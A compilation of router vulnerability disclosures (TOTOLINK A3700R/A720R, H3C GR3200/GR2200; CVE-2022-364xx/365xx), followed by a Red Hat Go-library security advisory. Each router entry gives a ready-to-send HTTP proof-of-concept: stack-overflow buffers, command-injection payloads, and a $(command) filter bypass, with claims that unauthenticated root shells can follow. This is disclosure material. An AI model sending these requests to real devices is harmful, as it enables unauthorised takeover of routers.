TOTOLINK A3700R V9.1.2u.6134_B20201202 was discovered to contain a stack overflow via the ip parameter in the function setDiagnosisCfg.

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**TOTOLink A3700R V9.1.2u.6134\_B20201202 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=69&ids=36

**Product Information**

TOTOLink A3700R V9.1.2u.6134\_B20201202 router, the latest version of simulation overview：

**Vulnerability details**

Var is formatted into V6 through sprintf function, and Var is the value of ip we enter. The size of the format string is not limited, resulting in stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 560
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Cookie: SESSION_ID=2:1658224702:2
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"topicurl": "setting/setDiagnosisCfg","ip": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
    

The above figure shows the POC attack effect

As shown in the figure above, we can hijack PC registers.

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-36466: vuln/readme.md at main · Darry-lang1/vuln

TOTOLINK A3700R V9.1.2u.6134_B20201202 was discovered to contain a command injection vulnerability via the FileName parameter in the function UploadFirmwareFile.

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**TOTOLink A3700R V9.1.2u.6134\_B20201202 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=69&ids=36

**Product Information**

TOTOLink A3700R V9.1.2u.6134\_B20201202 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK A3700R (V9.1.2u.6134\_B20201202) was found to contain a command insertion vulnerability in UploadFirmwareFile.This vulnerability allows an attacker to execute arbitrary commands through the "FileName" parameter.

Var is passed directly into the dosystem function.

The dosystem function is finally found to be implemented in this file by string matching.

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 75
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Cookie: SESSION_ID=2:1658224702:2
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"FileName":";ps #","ContentLength":"1","topicurl":"UploadFirmwareFile"}
    1
    

The above figure shows the POC attack effect

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-36460: vuln/readme.md at main · Darry-lang1/vuln

TOTOLink A720R V4.1.5cu.532_B20210610 was discovered to contain a command injection vulnerability via the username parameter in /cstecgi.cgi.

**TOTOLink A720R V4.1.5cu.532\_B20210610 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=14&ids=36

**Product Information**

TOTOLink A720R V4.1.5cu.532\_B20210610 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK A720R was found to contain a command insertion vulnerability in cstecgi.This vulnerability allows an attacker to execute arbitrary commands through the "username" parameter.

We can see that the operating system will get "username" without filtering and inserting it into the strings "openvpn cert build\_user" and "gz". Therefore, if we can control "username", it can be a command injection.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi?exportOvpn=&type=user&username=;ifconfig;&filetype=gz HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.0.1/login.html
    Content-Length: 0
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    

The above figure shows the POC attack effect

CVE-2022-36456: vuln/TOTOLINK/A720R/1 at main · Darry-lang1/vuln

H3C GR3200 MiniGR1B0V100R014 was discovered to contain a command injection vulnerability via the param parameter at DelL2tpLNSList.

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Cannot retrieve contributors at this time

**H3C GR3200 MiniGR1B0V100R014 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202202/1542099\_30005\_0.htm

**Product Information**

Overview of affected versions of H3C GR3200 router：

**Vulnerability details**

H3C GR3200 (<=MiniGR1B0V100R014) was found to contain a command insertion vulnerability in DelL2tpLNSList.This vulnerability allows an attacker to execute arbitrary commands through the "param" parameter.

Format the param parameter we entered into V15 through the snprintf function, and execute our command through the system function. Because V10 and V11 are limited to 8 bytes, we can fill V10 with 8 bytes so that when %s in the snprintf function is formatted, V10 and V11 will be connected actively.

Although the sub_100695A4 function filters some dangerous characters, we can bypass them with $(command).

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.124.1:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close
    Referer: http://192.168.124.1:80/maintain_basic.asp
    Cookie: JSESSIONID=04f803a0
    Upgrade-Insecure-Requests: 1
    Content-Length: 67
    
    CMD=DelL2tpLNSList&GO=vpn_l2tp_session.asp&param=1;$(ps>/ww w/1)	#;
    

The picture above shows the debug log after POC is sent.

The above illustration shows the effect of command execution.

CVE-2022-36509: vuln/readme.md at main · Darry-lang1/vuln

H3C GR2200 MiniGR1A0V100R014 was discovered to contain a command injection vulnerability via the param parameter at DelL2tpLNSList.

**H3C GR2200 MiniGR1A0V100R014 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_202202/1542099\_30005\_0.htm

**Product Information**

H3C GR2200 MiniGR1A0V100R014 router, the latest version of simulation overview：

**Vulnerability details**

H3C GR2200 (MiniGR1A0V100R014) was found to contain a command insertion vulnerability in DelL2tpLNSList.This vulnerability allows an attacker to execute arbitrary commands through the "param" parameter.

Format the param parameter we entered into V13 through the snprintf function, and execute our command through the system function. Because V8 and V9 are limited to 8 bytes, we can fill V8 with 8 bytes so that when %s in the snprintf function is formatted, V8 and V9 will be connected actively.

Although the sub_46EE30 function filters some dangerous characters, we can bypass them with $(command).

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.124.1:80
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close
    Referer: http://192.168.124.1:80/maintain_basic.asp
    Cookie: JSESSIONID=04f803a0
    Upgrade-Insecure-Requests: 1
    Content-Length: 67
    
    CMD=DelL2tpLNSList&GO=vpn_l2tp_session.asp&param=1;$(ps>/ww w/1)	#;
    

The picture above shows the debug log after POC is sent.

The above illustration shows the effect of command execution.

CVE-2022-36510: vuln/H3C/GR2200/1 at main · Darry-lang1/vuln

TOTOLINK A3700R V9.1.2u.6134_B20201202 was discovered to contain a command injection vulnerability via the hostName parameter in the function setOpModeCfg.

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**TOTOLink A3700R V9.1.2u.6134\_B20201202 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=69&ids=36

**Product Information**

TOTOLink A3700R V9.1.2u.6134\_B20201202 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK A3700R (V9.1.2u.6134\_B20201202) was found to contain a command insertion vulnerability in setOpModeCfg.This vulnerability allows an attacker to execute arbitrary commands through the "hostName" parameter.

By calling these functions, we can ultimately call sub\_4241E0 function (as shown in the last picture). By setting the proto value to 1, we can reach the default branch.V48 passes directly into the dosystem function.

The dosystem function is finally found to be implemented in this file by string matching.

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 52
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Cookie: SESSION_ID=2:1658224702:2
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"hostName":"admin';ps #","proto":"1","opmode":"br","topicurl":"setOpModeCfg"}
    

The above figure shows the POC attack effect

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-36461: vuln/readme.md at main · Darry-lang1/vuln

TOTOLINK A3700R V9.1.2u.6134_B20201202 was discovered to contain a stack overflow via the lang parameter in the function setLanguageCfg.

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Cannot retrieve contributors at this time

**TOTOLink A3700R V9.1.2u.6134\_B20201202 has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=69&ids=36

**Product Information**

TOTOLink A3700R V9.1.2u.6134\_B20201202 router, the latest version of simulation overview：

**Vulnerability details**

Var is formatted into V7 through sprintf function, and VaR is the value of Lang we enter. The size of the format string is not limited, resulting in stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 561
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Cookie: SESSION_ID=2:1658224702:2
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"topicurl": "setting/setLanguageCfg","lang": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
    

The above figure shows the POC attack effect

As shown in the figure above, we can hijack PC registers.

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-36462: vuln/readme.md at main · Darry-lang1/vuln

TOTOLINK A3700R V9.1.2u.6134_B20201202 was discovered to contain a command injection vulnerability via the command parameter in the function setTracerouteCfg.

Permalink

**TOTOLink A3700R V9.1.2u.6134\_B20201202 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=69&ids=36

**Product Information**

TOTOLink A3700R V9.1.2u.6134\_B20201202 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK A3700R (V9.1.2u.6134\_B20201202) was found to contain a command insertion vulnerability in setTracerouteCfg.This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.

Format var into V6 using sprintf function and pass in dosystem function.

The dosystem function is finally found to be implemented in this file by string matching.

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 52
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Cookie: SESSION_ID=2:1658224702:2
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"command":";ps;","num":"1","topicurl":"setTracerouteCfg"}
    

The above figure shows the POC attack effect

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-36458: vuln/readme.md at main · Darry-lang1/vuln

TOTOLINK A3700R V9.1.2u.6134_B20201202 was discovered to contain a command injection vulnerability via the host_time parameter in the function NTPSyncWithHost.

Permalink

**TOTOLink A3700R V9.1.2u.6134\_B20201202 Has an command injection vulnerability****Overview**

*   Manufacturer's website information：https://www.totolink.net/
*   Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=69&ids=36

**Product Information**

TOTOLink A3700R V9.1.2u.6134\_B20201202 router, the latest version of simulation overview：

**Vulnerability details**

TOTOLINK A3700R (V9.1.2u.6134\_B20201202) was found to contain a command insertion vulnerability in NTPSyncWithHost.This vulnerability allows an attacker to execute arbitrary commands through the "host\_time" parameter.

Var passes directly into the dosystem function.

The dosystem function is finally found to be implemented in this file by string matching.

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Length: 52
    Origin: http://192.168.0.1
    DNT: 1
    Connection: close
    Cookie: SESSION_ID=2:1658224702:2
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"host_time":"2022-07-19 22:24:46';ps;'","topicurl":"NTPSyncWithHost"}
    

The above figure shows the POC attack effect

Finally, you can write exp to get a stable root shell without authorization.

CVE-2022-36459: vuln/readme.md at main · Darry-lang1/vuln

An update for node-maintenance-must-gather-container, node-maintenance-operator-bundle-container, and node-maintenance-operator-container is now available for Node Maintenance Operator 4.11 for RHEL 8. This Operator is delivered by Red Hat Workload Availability.
Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.

Related CVEs:
* CVE-2022-1705: golang: net/http: improper sanitization of Transfer-Encoding header
* CVE-2022-1962: golang: go/parser: stack exhaustion in all Parse* functions
* CVE-2022-28131: golang: encoding/xml: stack exhaustion in Decoder.Skip
* CVE-2022-30630: golang: io/fs: stack exhaustion in Glob
* CVE-2022-30631: golang: compress/gzip: stack exhaustion in Reader.Read
* CVE-2022-30632: golang: path/filepath: stack exhaustion in Glob
* CVE-2022-30633: golang: encoding/xml: stack exhaustion in Unmarshal
* CVE-2022-32148: golang: net/http/httputil: NewSingleHostReverseProxy - omit X-Forwarded-For not working


Skip to navigation Skip to main content

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All Products

发布：

2022-08-25

已更新：

2022-08-25

**RHSA-2022:6188 - Security Advisory**

*   概述
*   更新的软件包

**概述**

Important: Node Maintenance Operator 4.11.1 security update

**类型/严重性**

Security Advisory: Important

**标题**

An update for node-maintenance-must-gather-container, node-maintenance-operator-bundle-container, and node-maintenance-operator-container is now available for Node Maintenance Operator 4.11 for RHEL 8. This Operator is delivered by Red Hat Workload Availability.  

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

**描述**

This is an updated release of the Node Maintenance Operator. The Node Maintenance Operator cordons off nodes from the rest of the cluster and drains all the pods from the nodes. By placing nodes under maintenance, administrators can proactively power down nodes, move workloads to other parts of the cluster, and ensure that workloads do not get interrupted.  

Security Fix(es):  

*   golang: compress/gzip: stack exhaustion in Reader.Read (CVE-2022-30631)
*   golang: net/http: improper sanitization of Transfer-Encoding header (CVE-2022-1705)
*   golang: go/parser: stack exhaustion in all Parse\* functions (CVE-2022-1962)
*   golang: encoding/xml: stack exhaustion in Decoder.Skip (CVE-2022-28131)
*   golang: io/fs: stack exhaustion in Glob (CVE-2022-30630)
*   golang: path/filepath: stack exhaustion in Glob (CVE-2022-30632)
*   golang: encoding/xml: stack exhaustion in Unmarshal (CVE-2022-30633)
*   golang: net/http/httputil: NewSingleHostReverseProxy - omit X-Forwarded-For not working (CVE-2022-32148)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, see the CVE page(s) listed in the References section.

**受影响的产品**

*   Red Hat OpenShift Workload Availability 1 x86\_64

**修复**

*   BZ - 2107342 - CVE-2022-30631 golang: compress/gzip: stack exhaustion in Reader.Read
*   BZ - 2107371 - CVE-2022-30630 golang: io/fs: stack exhaustion in Glob
*   BZ - 2107374 - CVE-2022-1705 golang: net/http: improper sanitization of Transfer-Encoding header
*   BZ - 2107376 - CVE-2022-1962 golang: go/parser: stack exhaustion in all Parse\* functions
*   BZ - 2107383 - CVE-2022-32148 golang: net/http/httputil: NewSingleHostReverseProxy - omit X-Forwarded-For not working
*   BZ - 2107386 - CVE-2022-30632 golang: path/filepath: stack exhaustion in Glob
*   BZ - 2107390 - CVE-2022-28131 golang: encoding/xml: stack exhaustion in Decoder.Skip
*   BZ - 2107392 - CVE-2022-30633 golang: encoding/xml: stack exhaustion in Unmarshal

**CVE**

*   CVE-2022-1292
*   CVE-2022-1586
*   CVE-2022-1705
*   CVE-2022-1962
*   CVE-2022-2068
*   CVE-2022-2097
*   CVE-2022-28131
*   CVE-2022-30630
*   CVE-2022-30631
*   CVE-2022-30632
*   CVE-2022-30633
*   CVE-2022-32148

**参考**

*   https://access.redhat.com/security/updates/classification/#important

**Red Hat OpenShift Workload Availability 1**

SRPM

x86\_64

Red Hat 安全团队联络方式为 secalert@redhat.com。 更多联络细节请参考 https://access.redhat.com/security/team/contact/。

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